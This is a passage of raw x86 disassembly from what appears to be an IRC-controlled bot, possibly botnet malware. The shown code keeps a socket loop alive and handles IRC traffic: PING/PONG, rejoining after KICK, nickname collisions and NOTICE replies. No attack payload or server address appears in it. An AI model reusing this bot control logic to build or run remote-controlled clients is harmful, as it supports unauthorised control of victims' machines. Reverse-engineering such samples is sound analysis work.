		push	eax
		call	sub_41EA60
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41BC70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E30D8	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401BBA
		push	[ebp+arg_0]
		call	dword_4E3120	; closesocket
		push	1388h
		call	dword_4F534C	; Sleep

loc_401BB3:				; CODE XREF: sub_401B0B+D9j
					; sub_401B0B+153j
		xor	eax, eax

loc_401BB5:				; CODE XREF: sub_401B0B+16Fj
					; sub_401B0B+177j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_401BBA:				; CODE XREF: sub_401B0B+92j
					; sub_401B0B+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A90]
		push	esi
		push	ebx
		push	eax
		call	sub_41E4B0
		add	esp, 0Ch
		lea	eax, [ebp+var_1A90]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4E30A0	; recv
		test	eax, eax
		jle	short loc_401BB3
		lea	eax, [ebp+var_A90]
		push	eax
		lea	eax, [ebp+var_1A90]
		push	eax
		call	sub_418A5E
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_401BBA
		lea	edi, [ebp+var_A90]

loc_401C0B:				; CODE XREF: sub_401B0B+165j
		xor	esi, esi
		inc	esi

loc_401C0E:				; CODE XREF: sub_401B0B+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_401C87
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_401C51
		push	7D0h
		call	dword_4F534C	; Sleep
		jmp	short loc_401C0E
; ---------------------------------------------------------------------------

loc_401C51:				; CODE XREF: sub_401B0B+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_401C7F
		cmp	esi, 0FFFFFFFEh
		jz	short loc_401C77
		cmp	esi, 0FFFFFFFFh
		jz	loc_401BB3
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_401C0B
		jmp	loc_401BBA
; ---------------------------------------------------------------------------

loc_401C77:				; CODE XREF: sub_401B0B+14Ej
		xor	eax, eax
		inc	eax
		jmp	loc_401BB5
; ---------------------------------------------------------------------------

loc_401C7F:				; CODE XREF: sub_401B0B+149j
		push	2
		pop	eax
		jmp	loc_401BB5
sub_401B0B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401C87	proc near		; CODE XREF: sub_401B0B+12Ap

var_5D88	= byte ptr -5D88h
var_5988	= byte ptr -5988h
var_5588	= byte ptr -5588h
var_53F8	= byte ptr -53F8h
var_51F8	= byte ptr -51F8h
var_50F4	= byte ptr -50F4h
var_4FF4	= byte ptr -4FF4h
var_4EF0	= byte ptr -4EF0h
var_4DF0	= byte ptr -4DF0h
var_4CF0	= byte ptr -4CF0h
var_4BF0	= byte ptr -4BF0h
var_4AF0	= byte ptr -4AF0h
var_48F0	= byte ptr -48F0h
var_47EC	= byte ptr -47ECh
var_46EC	= byte ptr -46ECh
var_45EC	= byte ptr -45ECh
var_4588	= byte ptr -4588h
var_4488	= byte ptr -4488h
var_4288	= byte ptr -4288h
var_4188	= byte ptr -4188h
var_4088	= byte ptr -4088h
var_3F88	= dword	ptr -3F88h
var_3F84	= byte ptr -3F84h
var_3F04	= byte ptr -3F04h
var_3E00	= byte ptr -3E00h
var_3CFC	= dword	ptr -3CFCh
var_3CF8	= dword	ptr -3CF8h
var_3CF4	= dword	ptr -3CF4h
var_3CF0	= dword	ptr -3CF0h
var_3CEC	= dword	ptr -3CECh
var_3CE8	= dword	ptr -3CE8h
var_3CE4	= byte ptr -3CE4h
var_3C64	= byte ptr -3C64h
var_3BE4	= byte ptr -3BE4h
var_3B64	= byte ptr -3B64h
var_3AE4	= byte ptr -3AE4h
var_3A64	= dword	ptr -3A64h
var_3A60	= dword	ptr -3A60h
var_3A5C	= dword	ptr -3A5Ch
var_3A58	= dword	ptr -3A58h
var_3A54	= byte ptr -3A54h
var_37CD	= byte ptr -37CDh
var_37CC	= byte ptr -37CCh
var_36C8	= dword	ptr -36C8h
var_36C0	= dword	ptr -36C0h
var_36BC	= dword	ptr -36BCh
var_36B8	= dword	ptr -36B8h
var_36B4	= dword	ptr -36B4h
var_36AC	= dword	ptr -36ACh
var_36A8	= dword	ptr -36A8h
var_36A4	= byte ptr -36A4h
var_3624	= byte ptr -3624h
var_35A4	= byte ptr -35A4h
var_3524	= byte ptr -3524h
var_34A4	= dword	ptr -34A4h
var_34A0	= dword	ptr -34A0h
var_349C	= dword	ptr -349Ch
var_3498	= dword	ptr -3498h
var_3494	= dword	ptr -3494h
var_3490	= byte ptr -3490h
var_3410	= byte ptr -3410h
var_3390	= byte ptr -3390h
var_3310	= byte ptr -3310h
var_3290	= dword	ptr -3290h
var_328C	= dword	ptr -328Ch
var_3288	= dword	ptr -3288h
var_3284	= dword	ptr -3284h
var_3280	= dword	ptr -3280h
var_327C	= byte ptr -327Ch
var_31FC	= byte ptr -31FCh
var_317C	= byte ptr -317Ch
var_30FC	= byte ptr -30FCh
var_307C	= dword	ptr -307Ch
var_3078	= dword	ptr -3078h
var_3074	= dword	ptr -3074h
var_3070	= dword	ptr -3070h
var_306C	= dword	ptr -306Ch
var_3068	= byte ptr -3068h
var_2FE8	= byte ptr -2FE8h
var_2F68	= byte ptr -2F68h
var_2EE8	= byte ptr -2EE8h
var_2E68	= dword	ptr -2E68h
var_2E64	= dword	ptr -2E64h
var_2E60	= dword	ptr -2E60h
var_2E5C	= dword	ptr -2E5Ch
var_2E58	= byte ptr -2E58h
var_2D54	= dword	ptr -2D54h
var_2D50	= byte ptr -2D50h
var_2C4C	= byte ptr -2C4Ch
var_2B48	= dword	ptr -2B48h
var_2B44	= dword	ptr -2B44h
var_2B40	= dword	ptr -2B40h
var_2B3C	= byte ptr -2B3Ch
var_2ABC	= dword	ptr -2ABCh
var_2AB8	= dword	ptr -2AB8h
var_2AB4	= dword	ptr -2AB4h
var_2AB0	= dword	ptr -2AB0h
var_2AA8	= byte ptr -2AA8h
var_2990	= byte ptr -2990h
var_2910	= dword	ptr -2910h
var_290C	= dword	ptr -290Ch
var_2908	= dword	ptr -2908h
var_2904	= dword	ptr -2904h
var_2900	= dword	ptr -2900h
var_28FC	= dword	ptr -28FCh
var_28F8	= byte ptr -28F8h
var_2878	= byte ptr -2878h
var_2778	= byte ptr -2778h
var_2678	= dword	ptr -2678h
var_2674	= dword	ptr -2674h
var_2670	= dword	ptr -2670h
var_266C	= dword	ptr -266Ch
var_2668	= dword	ptr -2668h
var_2664	= dword	ptr -2664h
var_2660	= dword	ptr -2660h
var_265C	= dword	ptr -265Ch
var_2658	= dword	ptr -2658h
var_2654	= dword	ptr -2654h
var_2650	= byte ptr -2650h
var_25D0	= byte ptr -25D0h
var_24D0	= byte ptr -24D0h
var_23D0	= dword	ptr -23D0h
var_23CC	= dword	ptr -23CCh
var_23C8	= dword	ptr -23C8h
var_23C4	= dword	ptr -23C4h
var_23C0	= dword	ptr -23C0h
var_23BC	= dword	ptr -23BCh
var_23B8	= dword	ptr -23B8h
var_23B4	= dword	ptr -23B4h
var_23B0	= dword	ptr -23B0h
var_23AC	= dword	ptr -23ACh
var_23A8	= byte ptr -23A8h
var_2328	= byte ptr -2328h
var_22A8	= byte ptr -22A8h
var_2228	= dword	ptr -2228h
var_2224	= dword	ptr -2224h
var_2220	= dword	ptr -2220h
var_221C	= dword	ptr -221Ch
var_2218	= dword	ptr -2218h
var_2214	= byte ptr -2214h
var_2194	= byte ptr -2194h
var_2114	= byte ptr -2114h
var_2094	= dword	ptr -2094h
var_2090	= dword	ptr -2090h
var_208C	= dword	ptr -208Ch
var_2088	= dword	ptr -2088h
var_2084	= dword	ptr -2084h
var_2080	= byte ptr -2080h
var_2000	= byte ptr -2000h
var_1F80	= byte ptr -1F80h
var_1F00	= dword	ptr -1F00h
var_1EFC	= dword	ptr -1EFCh
var_1EF8	= dword	ptr -1EF8h
var_1EF4	= dword	ptr -1EF4h
var_1EF0	= dword	ptr -1EF0h
var_1EEC	= byte ptr -1EECh
var_1DEC	= byte ptr -1DECh
var_1D6C	= dword	ptr -1D6Ch
var_1D64	= dword	ptr -1D64h
var_1D60	= dword	ptr -1D60h
var_1D5C	= dword	ptr -1D5Ch
var_1D58	= dword	ptr -1D58h
var_1D54	= dword	ptr -1D54h
var_1D50	= dword	ptr -1D50h
var_1D48	= byte ptr -1D48h
var_1D34	= byte ptr -1D34h
var_1C30	= byte ptr -1C30h
var_1BAC	= dword	ptr -1BACh
var_1BA8	= dword	ptr -1BA8h
var_1BA4	= dword	ptr -1BA4h
var_1BA0	= dword	ptr -1BA0h
var_1B9C	= dword	ptr -1B9Ch
var_1B94	= byte ptr -1B94h
var_1B80	= byte ptr -1B80h
var_1A7C	= byte ptr -1A7Ch
var_19FC	= dword	ptr -19FCh
var_19F8	= dword	ptr -19F8h
var_19F4	= dword	ptr -19F4h
var_19F0	= dword	ptr -19F0h
var_19EC	= dword	ptr -19ECh
var_19E8	= dword	ptr -19E8h
var_19E4	= byte ptr -19E4h
var_1964	= byte ptr -1964h
var_1924	= byte ptr -1924h
var_1824	= dword	ptr -1824h
var_1820	= dword	ptr -1820h
var_1814	= dword	ptr -1814h
var_1810	= dword	ptr -1810h
var_180C	= dword	ptr -180Ch
var_1808	= byte ptr -1808h
var_17D0	= byte ptr -17D0h
var_17B4	= byte ptr -17B4h
var_177C	= byte ptr -177Ch
var_1778	= byte ptr -1778h
var_16F8	= byte ptr -16F8h
var_16B8	= byte ptr -16B8h
var_1628	= dword	ptr -1628h
var_1624	= dword	ptr -1624h
var_1620	= dword	ptr -1620h
var_161C	= dword	ptr -161Ch
var_1618	= dword	ptr -1618h
var_1614	= byte ptr -1614h
var_1594	= byte ptr -1594h
var_1514	= dword	ptr -1514h
var_1510	= dword	ptr -1510h
var_150C	= dword	ptr -150Ch
var_1508	= dword	ptr -1508h
var_1504	= byte ptr -1504h
var_14F4	= byte ptr -14F4h
var_1474	= byte ptr -1474h
var_13F4	= dword	ptr -13F4h
var_13EC	= dword	ptr -13ECh
var_13E8	= dword	ptr -13E8h
var_13E4	= dword	ptr -13E4h
var_13E0	= dword	ptr -13E0h
var_13DC	= dword	ptr -13DCh
var_13D8	= dword	ptr -13D8h
var_13D4	= byte ptr -13D4h
var_1354	= byte ptr -1354h
var_12D4	= byte ptr -12D4h
var_1254	= dword	ptr -1254h
var_1250	= dword	ptr -1250h
var_124C	= dword	ptr -124Ch
var_1248	= dword	ptr -1248h
var_1244	= dword	ptr -1244h
var_1240	= dword	ptr -1240h
var_123C	= dword	ptr -123Ch
var_1238	= dword	ptr -1238h
var_1230	= byte ptr -1230h
var_11B0	= byte ptr -11B0h
var_1130	= dword	ptr -1130h
var_112C	= dword	ptr -112Ch
var_1128	= dword	ptr -1128h
var_1120	= dword	ptr -1120h
var_111C	= dword	ptr -111Ch
var_1118	= dword	ptr -1118h
var_1110	= dword	ptr -1110h
var_110C	= byte ptr -110Ch
var_108C	= byte ptr -108Ch
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1004	= dword	ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF8		= dword	ptr -0FF8h
var_FF4		= dword	ptr -0FF4h
var_FF0		= dword	ptr -0FF0h
var_FEC		= dword	ptr -0FECh
var_FE8		= byte ptr -0FE8h
var_F68		= dword	ptr -0F68h
var_F64		= dword	ptr -0F64h
var_F60		= dword	ptr -0F60h
var_F5C		= dword	ptr -0F5Ch
var_F58		= dword	ptr -0F58h
var_F54		= byte ptr -0F54h
var_ED4		= dword	ptr -0ED4h
var_ED0		= dword	ptr -0ED0h
var_ECC		= dword	ptr -0ECCh
var_EC8		= dword	ptr -0EC8h
var_EC4		= dword	ptr -0EC4h
var_EC0		= byte ptr -0EC0h
var_E40		= dword	ptr -0E40h
var_E3C		= dword	ptr -0E3Ch
var_E38		= dword	ptr -0E38h
var_E34		= dword	ptr -0E34h
var_E30		= byte ptr -0E30h
var_E10		= byte ptr -0E10h
var_E00		= byte ptr -0E00h
var_D80		= dword	ptr -0D80h
var_D7C		= byte ptr -0D7Ch
var_CFC		= byte ptr -0CFCh
var_C7C		= dword	ptr -0C7Ch
var_C78		= dword	ptr -0C78h
var_C74		= dword	ptr -0C74h
var_C70		= dword	ptr -0C70h
var_C6C		= dword	ptr -0C6Ch
var_C68		= dword	ptr -0C68h
var_C64		= dword	ptr -0C64h
var_C60		= dword	ptr -0C60h
var_C5C		= dword	ptr -0C5Ch
var_C58		= dword	ptr -0C58h
var_C54		= byte ptr -0C54h
var_BD4		= dword	ptr -0BD4h
var_BD0		= dword	ptr -0BD0h
var_BCC		= dword	ptr -0BCCh
var_BC8		= dword	ptr -0BC8h
var_BC4		= byte ptr -0BC4h
var_B44		= dword	ptr -0B44h
var_B40		= dword	ptr -0B40h
var_B3C		= dword	ptr -0B3Ch
var_B38		= dword	ptr -0B38h
var_B34		= dword	ptr -0B34h
var_B30		= dword	ptr -0B30h
var_B2C		= byte ptr -0B2Ch
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= dword	ptr -0A9Ch
var_A98		= dword	ptr -0A98h
var_A94		= byte ptr -0A94h
var_A14		= dword	ptr -0A14h
var_A10		= dword	ptr -0A10h
var_A0C		= dword	ptr -0A0Ch
var_A08		= dword	ptr -0A08h
var_A04		= dword	ptr -0A04h
var_A00		= dword	ptr -0A00h
var_9FC		= byte ptr -9FCh
var_97C		= word ptr -97Ch
var_978		= dword	ptr -978h
var_970		= dword	ptr -970h
var_96C		= dword	ptr -96Ch
var_968		= dword	ptr -968h
var_960		= byte ptr -960h
var_8FF		= byte ptr -8FFh
var_8FE		= byte ptr -8FEh
var_8FC		= byte ptr -8FCh
var_8FB		= byte ptr -8FBh
var_8F2		= byte ptr -8F2h
var_8F0		= byte ptr -8F0h
var_8EE		= byte ptr -8EEh
var_8ED		= byte ptr -8EDh
var_860		= byte ptr -860h
var_850		= byte ptr -850h
var_7D0		= byte ptr -7D0h
var_750		= dword	ptr -750h
var_74C		= dword	ptr -74Ch
var_748		= dword	ptr -748h
var_744		= dword	ptr -744h
var_740		= dword	ptr -740h
var_734		= dword	ptr -734h
var_730		= dword	ptr -730h
var_728		= dword	ptr -728h
var_724		= dword	ptr -724h
var_720		= dword	ptr -720h
var_71C		= dword	ptr -71Ch
var_714		= dword	ptr -714h
var_710		= byte ptr -710h
var_690		= dword	ptr -690h
var_688		= dword	ptr -688h
var_684		= dword	ptr -684h
var_680		= dword	ptr -680h
var_678		= dword	ptr -678h
var_674		= dword	ptr -674h
var_670		= dword	ptr -670h
var_668		= dword	ptr -668h
var_63C		= dword	ptr -63Ch
var_638		= word ptr -638h
var_624		= dword	ptr -624h
var_620		= byte ptr -620h
var_5A0		= byte ptr -5A0h
var_590		= dword	ptr -590h
var_58C		= dword	ptr -58Ch
var_584		= dword	ptr -584h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_574		= dword	ptr -574h
var_570		= byte ptr -570h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= dword	ptr -4E8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4C8		= byte ptr -4C8h
var_4BC		= byte ptr -4BCh
var_484		= byte ptr -484h
var_474		= byte ptr -474h
var_3F4		= byte ptr -3F4h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_358		= dword	ptr -358h
var_354		= dword	ptr -354h
var_34C		= dword	ptr -34Ch
var_348		= dword	ptr -348h
var_344		= dword	ptr -344h
var_340		= dword	ptr -340h
var_338		= byte ptr -338h
var_31C		= word ptr -31Ch
var_31A		= word ptr -31Ah
var_318		= dword	ptr -318h
var_30C		= byte ptr -30Ch
var_308		= dword	ptr -308h
var_2FC		= byte ptr -2FCh
var_2F8		= byte ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2E8		= byte ptr -2E8h
var_2E4		= byte ptr -2E4h
var_2E3		= byte ptr -2E3h
var_2E2		= byte ptr -2E2h
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= dword	ptr -2C4h
var_2C0		= byte ptr -2C0h
var_C0		= byte ptr -0C0h
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_93		= byte ptr -93h
var_92		= byte ptr -92h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_50		= byte ptr -50h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 5D88h
		call	sub_41EF80
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2C0]
		push	ebx
		push	eax
		mov	[ebp+var_A4], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_A8], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_2C4], ebx
		call	sub_41E4B0
		push	1Bh
		lea	eax, [ebp+var_338]
		push	[ebp+arg_10]
		push	eax
		call	sub_41E510
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_4076C4
		push	esi
		lea	eax, [ebp+var_4488]
		push	ebx
		push	eax
		call	sub_41E4B0
		dec	esi
		lea	eax, [ebp+var_4488]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_41E510
		lea	eax, [ebp+var_4488]
		push	offset asc_43FB90 ; " :"
		push	eax
		call	sub_41EBB0
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_4488]
		push	esi
		push	eax
		lea	eax, [ebp+var_4AF0]
		push	eax
		call	sub_41E510
		lea	eax, [ebp+var_4AF0]
		push	offset asc_43FB94 ; "  !"
		push	eax
		call	sub_41F870
		xor	edi, edi
		add	esp, 34h
		inc	edi
		mov	[ebp+var_90], eax
		mov	esi, edi

loc_401D4E:				; CODE XREF: sub_401C87+DFj
		push	43FB96h
		push	ebx
		call	sub_41F870
		mov	[ebp+esi*4+var_90], eax
		inc	esi
		pop	ecx
		cmp	esi, 20h
		pop	ecx
		jl	short loc_401D4E
		mov	esi, [ebp+var_90]
		cmp	esi, ebx
		jz	loc_409C28
		cmp	[ebp+var_8C], ebx
		jz	loc_409C28
		push	100h
		lea	eax, [ebp+var_960]
		push	ebx
		push	eax
		call	sub_41E4B0
		add	esp, 0Ch
		push	1Fh
		pop	edx

loc_401D9A:				; CODE XREF: sub_401C87+147j
		lea	ecx, [ebp+edx*4+var_90]
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_401DCD
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_401DD0
		cmp	[eax+2], bl
		jnz	short loc_401DD0
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_960], 1
		mov	esi, [ebp+var_90]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl

loc_401DCD:				; CODE XREF: sub_401C87+11Ej
		dec	edx
		jns	short loc_401D9A

loc_401DD0:				; CODE XREF: sub_401C87+123j
					; sub_401C87+128j
		cmp	[ebp+var_8ED], bl
		jz	short loc_401DDB
		mov	[ebp+var_8], edi

loc_401DDB:				; CODE XREF: sub_401C87+14Fj
		cmp	[ebp+var_8F2], bl
		jz	short loc_401DE9
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi

loc_401DE9:				; CODE XREF: sub_401C87+15Aj
		cmp	byte ptr [esi],	0Ah
		jz	short loc_401E23
		push	7Fh
		lea	eax, [ebp+var_E00]
		push	esi
		push	eax
		call	sub_41E510
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_C0]
		push	eax
		call	sub_41E510
		lea	eax, [ebp+var_C0]
		push	43FB98h
		push	eax
		call	sub_41F870
		add	esp, 20h

loc_401E23:				; CODE XREF: sub_401C87+165j
		push	esi
		push	offset aPing	; "PING"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E74
		push	[ebp+var_8C]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409C2F
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_409C28
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409C2F
		add	esp, 10h
		jmp	loc_409C28
; ---------------------------------------------------------------------------

loc_401E74:				; CODE XREF: sub_401C87+1ABj
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset a001	; "001"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409BE7
		push	esi
		push	offset a005	; "005"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409BE7
		push	esi
		push	offset a302	; "302"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401EE6
		push	offset a@	; "@"
		push	[ebp+var_84]
		call	sub_41EBB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_409C28
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_41E510
		add	esp, 0Ch
		jmp	loc_409C28
; ---------------------------------------------------------------------------

loc_401EE6:				; CODE XREF: sub_401C87+22Cj
		push	esi
		push	offset a433	; "433"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F24
		push	ebx
		push	dword_43F0A4
		push	dword_43F0A0
		push	[ebp+arg_10]
		call	sub_40B38F
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409C2F
		add	esp, 1Ch
		jmp	loc_409C28
; ---------------------------------------------------------------------------

loc_401F24:				; CODE XREF: sub_401C87+26Ej
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_2C8], 3
		mov	edi, 80h

loc_401F36:				; CODE XREF: sub_401C87+2D4j
		lea	eax, [ebp+var_E00]
		push	eax
		push	esi
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F53
		mov	[ebp+var_A8], 1

loc_401F53:				; CODE XREF: sub_401C87+2C0j
		add	esi, edi
		dec	[ebp+var_2C8]
		jnz	short loc_401F36
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40203F
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 3

loc_401F82:				; CODE XREF: sub_401C87+37Aj
		cmp	[esi], bl
		jz	short loc_401FFC
		push	7Fh
		lea	eax, [ebp+var_E00]
		push	esi
		push	eax
		call	sub_41E510
		add	esp, 0Ch
		cmp	[ebp+var_84], ebx
		jz	short loc_401FFC
		push	[ebp+var_84]
		lea	eax, [ebp+var_C0]
		push	eax
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401FFC
		lea	eax, [ebp+var_C0]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_43FBE8
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_2C0]
		push	eax
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_409C2F
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415A3C
		add	esp, 20h

loc_401FFC:				; CODE XREF: sub_401C87+2FDj
					; sub_401C87+317j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_401F82
		push	[ebp+var_84]
		push	[ebp+arg_10]
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4076C4
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS_0 ; "JOIN %s %s\r\n"

loc_40202F:				; CODE XREF: sub_401C87+5EEj
					; sub_401C87+886j ...
		push	[ebp+arg_4]
		call	sub_409C2F

loc_402037:				; CODE XREF: sub_401C87+24F5j
					; sub_401C87+2512j ...
		add	esp, 10h
		jmp	loc_4076C4
; ---------------------------------------------------------------------------

loc_40203F:				; CODE XREF: sub_401C87+2EBj
		push	esi
		push	offset aNick	; "NICK"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402187
		mov	eax, [ebp+var_88]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 3
		mov	[ebp+arg_24], eax

loc_402068:				; CODE XREF: sub_401C87+433j
		lea	eax, [ebp+var_E00]
		push	eax
		push	esi
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4020B5
		lea	eax, [ebp+var_E00]
		push	21h
		push	eax
		call	sub_41F720
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_4020B5
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_41F620
		push	[ebp+arg_1C]
		push	edi
		call	sub_41F630
		add	esp, 10h
		mov	edi, 80h

loc_4020B5:				; CODE XREF: sub_401C87+3F2j
					; sub_401C87+409j
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_402068
		cmp	[ebp+arg_24], ebx
		jz	loc_4076C4
		push	[ebp+arg_10]
		lea	eax, [ebp+var_C0]
		push	eax
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4020EF
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_41E510

loc_4020E7:				; CODE XREF: sub_401C87+1BE6j
		add	esp, 0Ch
		jmp	loc_4076C4
; ---------------------------------------------------------------------------

loc_4020EF:				; CODE XREF: sub_401C87+451j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_4020F4:				; CODE XREF: sub_401C87+48Ej
		cmp	[edi], bl
		jz	short loc_40210B
		lea	eax, [ebp+var_E00]
		push	eax
		push	edi
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40211C

loc_40210B:				; CODE XREF: sub_401C87+46Fj
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_4020F4
		jmp	loc_4076C4
; ---------------------------------------------------------------------------

loc_40211C:				; CODE XREF: sub_401C87+482j
		lea	eax, [ebp+var_E00]
		push	21h
		push	eax
		call	sub_41F720
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	loc_4076C4
		push	eax
		call	sub_41BC70
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_41BC70
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	loc_4076C4
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS	; ":%s%s"
		push	esi
		call	sub_41EA60
		push	ebx
		lea	eax, [ebp+var_45EC]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_409C75
		add	esp, 24h
		jmp	loc_4076C4
; ---------------------------------------------------------------------------

loc_402187:				; CODE XREF: sub_401C87+3C7j
		push	esi
		push	offset aPart	; "PART"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4021A9
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4021D6

loc_4021A9:				; CODE XREF: sub_401C87+50Fj
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_4021AE:				; CODE XREF: sub_401C87+547j
		cmp	[edi], bl
		jz	short loc_4021C4
		push	[ebp+var_90]
		push	edi
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402219

